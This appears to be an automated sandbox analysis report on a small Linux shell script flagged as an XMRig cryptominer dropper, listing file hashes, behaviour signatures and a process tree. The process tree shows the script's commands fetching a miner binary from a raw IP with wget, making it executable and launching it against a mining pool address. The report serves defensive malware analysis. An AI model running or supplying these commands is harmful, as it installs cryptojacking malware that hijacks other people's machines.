Overview

overview

10

Static

static

1

82d5f1b0b9...e97.sh

ubuntu-18.04-amd64

10

82d5f1b0b9...e97.sh

debian-9-armhf

10

82d5f1b0b9...e97.sh

debian-9-mips

10

82d5f1b0b9...e97.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30-12-2024 02:25

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General

  • Target

    82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh

  • Size

    438B

  • MD5

    52f6ef322dd61383cc5f03bba971ecc1

  • SHA1

    a540ec9917e63a178aa44b3f3570a54ff8c88135

  • SHA256

    82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97

  • SHA512

    c17b540e81ca673cfb39cedb1417bfebb0367d61f9f9315710713bc0167cfb953b2b0fdec2bad0435c4ac423e41935fac7fa76ceb288f07174273b9f32f1d938

Score
10/10
xmrigxmrig_linuxantivmdefense_evasiondiscoveryminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • Xmrig family
    xmrig
  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 64 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh
    /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh
    1⤵
      PID:1493
    • /usr/bin/nohup
      nohup bash /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh nobg
      1⤵
        PID:1494
      • /usr/local/sbin/bash
        bash /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh nobg
        1⤵
          PID:1494
        • /usr/local/bin/bash
          bash /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh nobg
          1⤵
            PID:1494
          • /usr/sbin/bash
            bash /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh nobg
            1⤵
              PID:1494
            • /usr/bin/bash
              bash /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh nobg
              1⤵
                PID:1494
              • /sbin/bash
                bash /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh nobg
                1⤵
                  PID:1494
                • /bin/bash
                  bash /tmp/82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97.sh nobg
                  1⤵
                    PID:1494
                    • /usr/bin/wget
                      wget http://81.28.10.96/xmrig --no-check-certificate -O xmrig
                      2⤵
                      • Writes file to tmp directory
                      PID:1495
                    • /bin/chmod
                      chmod 777 xmrig
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1501
                    • /usr/bin/pgrep
                      pgrep -x xmrig
                      2⤵
                      • Reads CPU attributes
                      • Reads runtime system information
                      PID:1502
                    • /bin/sleep
                      sleep 5
                      2⤵
                        PID:1504
                      • /tmp/xmrig
                        ./xmrig --url 193.232.178.53:80 -B
                        2⤵
                        • Executes dropped EXE
                        • Checks hardware identifiers (DMI)
                        • Reads hardware information
                        • Checks CPU configuration
                        • Reads CPU attributes
                        • Enumerates kernel/hardware configuration
                        PID:1503
                      • /usr/bin/pgrep
                        pgrep -x xmrig
                        2⤵
                        • Reads runtime system information
                        PID:1512
                      • /bin/sleep
                        sleep 5
                        2⤵
                          PID:1513
                        • /usr/bin/pgrep
                          pgrep -x xmrig
                          2⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1514
                        • /bin/sleep
                          sleep 5
                          2⤵
                            PID:1515
                          • /usr/bin/pgrep
                            pgrep -x xmrig
                            2⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:1516
                          • /bin/sleep
                            sleep 5
                            2⤵
                              PID:1517
                            • /usr/bin/pgrep
                              pgrep -x xmrig
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:1518
                            • /bin/sleep
                              sleep 5
                              2⤵
                                PID:1519
                              • /usr/bin/pgrep
                                pgrep -x xmrig
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:1520
                              • /bin/sleep
                                sleep 5
                                2⤵
                                  PID:1521
                                • /usr/bin/pgrep
                                  pgrep -x xmrig
                                  2⤵
                                  • Reads CPU attributes
                                  • Reads runtime system information
                                  PID:1522
                                • /bin/sleep
                                  sleep 5
                                  2⤵
                                    PID:1523
                                  • /usr/bin/pgrep
                                    pgrep -x xmrig
                                    2⤵
                                    • Reads CPU attributes
                                    • Reads runtime system information
                                    PID:1524
                                  • /bin/sleep
                                    sleep 5
                                    2⤵
                                      PID:1525
                                    • /usr/bin/pgrep
                                      pgrep -x xmrig
                                      2⤵
                                      • Reads CPU attributes
                                      • Reads runtime system information
                                      PID:1526
                                    • /bin/sleep
                                      sleep 5
                                      2⤵
                                        PID:1527
                                      • /usr/bin/pgrep
                                        pgrep -x xmrig
                                        2⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:1528
                                      • /bin/sleep
                                        sleep 5
                                        2⤵
                                          PID:1529
                                        • /usr/bin/pgrep
                                          pgrep -x xmrig
                                          2⤵
                                          • Reads CPU attributes
                                          • Reads runtime system information
                                          PID:1530
                                        • /bin/sleep
                                          sleep 5
                                          2⤵
                                            PID:1531
                                          • /usr/bin/pgrep
                                            pgrep -x xmrig
                                            2⤵
                                            • Reads CPU attributes
                                            • Reads runtime system information
                                            PID:1532
                                          • /bin/sleep
                                            sleep 5
                                            2⤵
                                              PID:1533
                                            • /usr/bin/pgrep
                                              pgrep -x xmrig
                                              2⤵
                                              • Reads CPU attributes
                                              • Reads runtime system information
                                              PID:1534
                                            • /bin/sleep
                                              sleep 5
                                              2⤵
                                                PID:1535
                                              • /usr/bin/pgrep
                                                pgrep -x xmrig
                                                2⤵
                                                • Reads CPU attributes
                                                • Reads runtime system information
                                                PID:1536
                                              • /bin/sleep
                                                sleep 5
                                                2⤵
                                                  PID:1537
                                                • /usr/bin/pgrep
                                                  pgrep -x xmrig
                                                  2⤵
                                                  • Reads CPU attributes
                                                  • Reads runtime system information
                                                  PID:1538
                                                • /bin/sleep
                                                  sleep 5
                                                  2⤵
                                                    PID:1539
                                                  • /usr/bin/pgrep
                                                    pgrep -x xmrig
                                                    2⤵
                                                    • Reads CPU attributes
                                                    • Reads runtime system information
                                                    PID:1540
                                                  • /bin/sleep
                                                    sleep 5
                                                    2⤵
                                                      PID:1541
                                                    • /usr/bin/pgrep
                                                      pgrep -x xmrig
                                                      2⤵
                                                      • Reads CPU attributes
                                                      • Reads runtime system information
                                                      PID:1542
                                                    • /bin/sleep
                                                      sleep 5
                                                      2⤵
                                                        PID:1543
                                                      • /usr/bin/pgrep
                                                        pgrep -x xmrig
                                                        2⤵
                                                        • Reads CPU attributes
                                                        • Reads runtime system information
                                                        PID:1544
                                                      • /bin/sleep
                                                        sleep 5
                                                        2⤵
                                                          PID:1545
                                                        • /usr/bin/pgrep
                                                          pgrep -x xmrig
                                                          2⤵
                                                          • Reads CPU attributes
                                                          • Reads runtime system information
                                                          PID:1546
                                                        • /bin/sleep
                                                          sleep 5
                                                          2⤵
                                                            PID:1547
                                                          • /usr/bin/pgrep
                                                            pgrep -x xmrig
                                                            2⤵
                                                            • Reads CPU attributes
                                                            PID:1548
                                                          • /bin/sleep
                                                            sleep 5
                                                            2⤵
                                                              PID:1549
                                                            • /usr/bin/pgrep
                                                              pgrep -x xmrig
                                                              2⤵
                                                              • Reads CPU attributes
                                                              • Reads runtime system information
                                                              PID:1550
                                                            • /bin/sleep
                                                              sleep 5
                                                              2⤵
                                                                PID:1551
                                                              • /usr/bin/pgrep
                                                                pgrep -x xmrig
                                                                2⤵
                                                                • Reads CPU attributes
                                                                • Reads runtime system information
                                                                PID:1552
                                                              • /bin/sleep
                                                                sleep 5
                                                                2⤵
                                                                  PID:1553
                                                                • /usr/bin/pgrep
                                                                  pgrep -x xmrig
                                                                  2⤵
                                                                  • Reads CPU attributes
                                                                  • Reads runtime system information
                                                                  PID:1554
                                                                • /bin/sleep
                                                                  sleep 5
                                                                  2⤵
                                                                    PID:1555
                                                                  • /usr/bin/pgrep
                                                                    pgrep -x xmrig
                                                                    2⤵
                                                                    • Reads CPU attributes
                                                                    • Reads runtime system information
                                                                    PID:1556
                                                                  • /bin/sleep
                                                                    sleep 5
                                                                    2⤵
                                                                      PID:1557

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

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                                                                  Downloads

                                                                  • /tmp/xmrig
                                                                    Filesize

                                                                    7.9MB

                                                                    MD5

                                                                    8f4fff0ded94f1141768220906abfbb8

                                                                    SHA1

                                                                    ea7c97294f415dc8713ac8c280b3123da62f6e56

                                                                    SHA256

                                                                    b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

                                                                    SHA512

                                                                    0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee

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